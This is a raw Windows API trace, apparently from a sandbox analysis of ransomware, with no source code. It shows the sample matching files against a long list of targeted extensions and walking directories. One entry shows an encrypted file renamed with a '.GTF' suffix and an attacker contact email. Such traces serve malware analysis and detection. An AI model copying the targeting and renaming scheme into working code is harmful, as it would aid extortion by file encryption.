	[0062.666] lstrlenW (lpString=".dic") returned 4
	[0062.666] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dif") returned 4
	[0062.666] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".divx") returned 5
	[0062.666] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0062.666] lstrlenW (lpString=".djvu") returned 5
	[0062.666] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0062.666] lstrlenW (lpString=".dng") returned 4
	[0062.667] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".doc") returned 4
	[0062.667] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".docm") returned 5
	[0062.667] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0062.667] lstrlenW (lpString=".docx") returned 5
	[0062.667] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0062.667] lstrlenW (lpString=".dot") returned 4
	[0062.667] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dotm") returned 5
	[0062.667] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0062.667] lstrlenW (lpString=".dotx") returned 5
	[0062.667] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0062.667] lstrlenW (lpString=".dpx") returned 4
	[0062.667] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dqy") returned 4
	[0062.667] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dsn") returned 4
	[0062.667] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dt") returned 3
	[0062.667] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0062.667] lstrlenW (lpString=".dtd") returned 4
	[0062.667] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dwg") returned 4
	[0062.667] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dwt") returned 4
	[0062.667] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0062.667] lstrlenW (lpString=".dx") returned 3
	[0062.667] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0062.668] lstrlenW (lpString=".dxf") returned 4
	[0062.668] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".edml") returned 5
	[0062.668] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0062.668] lstrlenW (lpString=".efd") returned 4
	[0062.668] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".elf") returned 4
	[0062.668] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".emf") returned 4
	[0062.668] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".emz") returned 4
	[0062.668] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".epf") returned 4
	[0062.668] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".eps") returned 4
	[0062.668] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".epsf") returned 5
	[0062.668] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0062.668] lstrlenW (lpString=".epsp") returned 5
	[0062.668] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0062.668] lstrlenW (lpString=".erf") returned 4
	[0062.668] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".exr") returned 4
	[0062.668] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".f4v") returned 4
	[0062.668] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0062.668] lstrlenW (lpString=".fido") returned 5
	[0062.668] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0062.669] lstrlenW (lpString=".flm") returned 4
	[0062.669] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".flv") returned 4
	[0062.669] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".frm") returned 4
	[0062.669] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".fxg") returned 4
	[0062.669] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".geo") returned 4
	[0062.669] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".gif") returned 4
	[0062.669] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".grs") returned 4
	[0062.669] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0062.669] lstrlenW (lpString=".gz") returned 3
	[0062.669] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0062.669] lstrlenW (lpString=".h") returned 2
	[0062.669] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0062.669] lstrlenW (lpString=".hdr") returned 4
	[0062.669] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0062.669] lstrlenW (lpString=".hpp") returned 4
	[0062.669] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0062.669] lstrlenW (lpString=".hta") returned 4
	[0062.669] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0062.669] lstrlenW (lpString=".htc") returned 4
	[0062.669] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0062.669] lstrlenW (lpString=".htm") returned 4
	[0062.669] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0062.669] lstrlenW (lpString=".html") returned 5
	[0062.670] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0062.670] lstrlenW (lpString=".icb") returned 4
	[0062.670] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".ics") returned 4
	[0062.670] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".iff") returned 4
	[0062.670] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".inc") returned 4
	[0062.670] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".indd") returned 5
	[0062.670] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0062.670] lstrlenW (lpString=".ini") returned 4
	[0062.670] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".iqy") returned 4
	[0062.670] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".j2c") returned 4
	[0062.670] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".j2k") returned 4
	[0062.670] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".java") returned 5
	[0062.670] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0062.670] lstrlenW (lpString=".jp2") returned 4
	[0062.670] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".jpc") returned 4
	[0062.670] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0062.670] lstrlenW (lpString=".jpe") returned 4
	[0062.671] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".jpeg") returned 5
	[0062.671] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0062.671] lstrlenW (lpString=".jpf") returned 4
	[0062.671] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".jpg") returned 4
	[0062.671] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".jpx") returned 4
	[0062.671] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".js") returned 3
	[0062.671] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0062.671] lstrlenW (lpString=".jsf") returned 4
	[0062.671] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".json") returned 5
	[0062.671] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0062.671] lstrlenW (lpString=".jsp") returned 4
	[0062.671] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".kdc") returned 4
	[0062.671] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".kmz") returned 4
	[0062.671] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".kwm") returned 4
	[0062.671] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".lasso") returned 6
	[0062.671] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0062.671] lstrlenW (lpString=".lbi") returned 4
	[0062.671] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".lgf") returned 4
	[0062.671] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".lgp") returned 4
	[0062.671] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0062.671] lstrlenW (lpString=".log") returned 4
	[0062.671] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".m1v") returned 4
	[0062.672] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".m4a") returned 4
	[0062.672] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".m4v") returned 4
	[0062.672] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".max") returned 4
	[0062.672] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".md") returned 3
	[0062.672] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0062.672] lstrlenW (lpString=".mda") returned 4
	[0062.672] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mdb") returned 4
	[0062.672] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mde") returned 4
	[0062.672] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mdf") returned 4
	[0062.672] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mdw") returned 4
	[0062.672] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mef") returned 4
	[0062.672] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mft") returned 4
	[0062.672] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mfw") returned 4
	[0062.672] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mht") returned 4
	[0062.672] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mhtml") returned 6
	[0062.672] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0062.672] lstrlenW (lpString=".mka") returned 4
	[0062.672] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0062.672] lstrlenW (lpString=".mkidx") returned 6
	[0062.673] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0062.673] lstrlenW (lpString=".mkv") returned 4
	[0062.673] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0062.673] lstrlenW (lpString=".mos") returned 4
	[0062.673] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0062.673] lstrlenW (lpString=".mov") returned 4
	[0062.673] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0062.673] lstrlenW (lpString=".mp3") returned 4
	[0062.673] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0062.793] lstrlenW (lpString=".mp4") returned 4
	[0062.793] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0062.793] lstrlenW (lpString=".mpeg") returned 5
	[0062.793] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0062.793] lstrlenW (lpString=".mpg") returned 4
	[0062.794] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".mpv") returned 4
	[0062.794] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".mrw") returned 4
	[0062.794] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".msg") returned 4
	[0062.794] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".mxl") returned 4
	[0062.794] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".myd") returned 4
	[0062.794] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".myi") returned 4
	[0062.794] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".nef") returned 4
	[0062.794] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".nrw") returned 4
	[0062.794] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".obj") returned 4
	[0062.794] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".odb") returned 4
	[0062.794] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".odc") returned 4
	[0062.794] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0062.794] lstrlenW (lpString=".odm") returned 4
	[0062.794] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".odp") returned 4
	[0062.795] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".ods") returned 4
	[0062.795] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".oft") returned 4
	[0062.795] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".one") returned 4
	[0062.795] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".onepkg") returned 7
	[0062.795] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0062.795] lstrlenW (lpString=".onetoc2") returned 8
	[0062.795] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0062.795] lstrlenW (lpString=".opt") returned 4
	[0062.795] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".oqy") returned 4
	[0062.795] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".orf") returned 4
	[0062.795] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".p12") returned 4
	[0062.795] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".p7b") returned 4
	[0062.795] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".p7c") returned 4
	[0062.795] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".pam") returned 4
	[0062.795] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".pbm") returned 4
	[0062.795] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".pct") returned 4
	[0062.795] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".pcx") returned 4
	[0062.795] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0062.795] lstrlenW (lpString=".pdd") returned 4
	[0062.795] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pdf") returned 4
	[0062.796] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pdp") returned 4
	[0062.796] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pef") returned 4
	[0062.796] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pem") returned 4
	[0062.796] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pff") returned 4
	[0062.796] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pfm") returned 4
	[0062.796] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pfx") returned 4
	[0062.796] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pgm") returned 4
	[0062.796] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".php") returned 4
	[0062.796] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".php3") returned 5
	[0062.796] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0062.796] lstrlenW (lpString=".php4") returned 5
	[0062.796] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0062.796] lstrlenW (lpString=".php5") returned 5
	[0062.796] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0062.796] lstrlenW (lpString=".phtml") returned 6
	[0062.796] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0062.796] lstrlenW (lpString=".pict") returned 5
	[0062.796] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0062.796] lstrlenW (lpString=".pl") returned 3
	[0062.796] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0062.796] lstrlenW (lpString=".pls") returned 4
	[0062.796] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0062.796] lstrlenW (lpString=".pm") returned 3
	[0062.796] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0062.796] lstrlenW (lpString=".png") returned 4
	[0062.797] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".pnm") returned 4
	[0062.797] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".pot") returned 4
	[0062.797] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".potm") returned 5
	[0062.797] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0062.797] lstrlenW (lpString=".potx") returned 5
	[0062.797] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0062.797] lstrlenW (lpString=".ppa") returned 4
	[0062.797] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".ppam") returned 5
	[0062.797] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0062.797] lstrlenW (lpString=".ppm") returned 4
	[0062.797] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".pps") returned 4
	[0062.797] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".ppsm") returned 5
	[0062.797] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0062.797] lstrlenW (lpString=".ppt") returned 4
	[0062.797] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".pptm") returned 5
	[0062.797] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0062.797] lstrlenW (lpString=".pptx") returned 5
	[0062.797] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0062.797] lstrlenW (lpString=".prn") returned 4
	[0062.797] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".ps") returned 3
	[0062.797] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0062.797] lstrlenW (lpString=".psb") returned 4
	[0062.797] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".psd") returned 4
	[0062.797] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0062.797] lstrlenW (lpString=".pst") returned 4
	[0062.797] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".ptx") returned 4
	[0062.798] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".pub") returned 4
	[0062.798] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".pwm") returned 4
	[0062.798] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".pxr") returned 4
	[0062.798] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".py") returned 3
	[0062.798] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0062.798] lstrlenW (lpString=".qt") returned 3
	[0062.798] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0062.798] lstrlenW (lpString=".r3d") returned 4
	[0062.798] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".raf") returned 4
	[0062.798] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0062.798] lstrlenW (lpString=".rar") returned 4
	[0062.798] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0062.798] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.798] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3e4ff, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9cb3e4ff, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0062.798] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.799] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.799] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0062.799] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.799] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0062.799] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26
	[0062.799] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811dc8
	[0062.799] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.799] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.799] lstrlenW (lpString="eula.rtf") returned 8
	[0062.799] lstrlenW (lpString=".1cd") returned 4
	[0062.799] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.799] lstrlenW (lpString=".3ds") returned 4
	[0062.799] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".3fr") returned 4
	[0062.800] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".3g2") returned 4
	[0062.800] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.800] lstrlenW (lpString=".3gp") returned 4
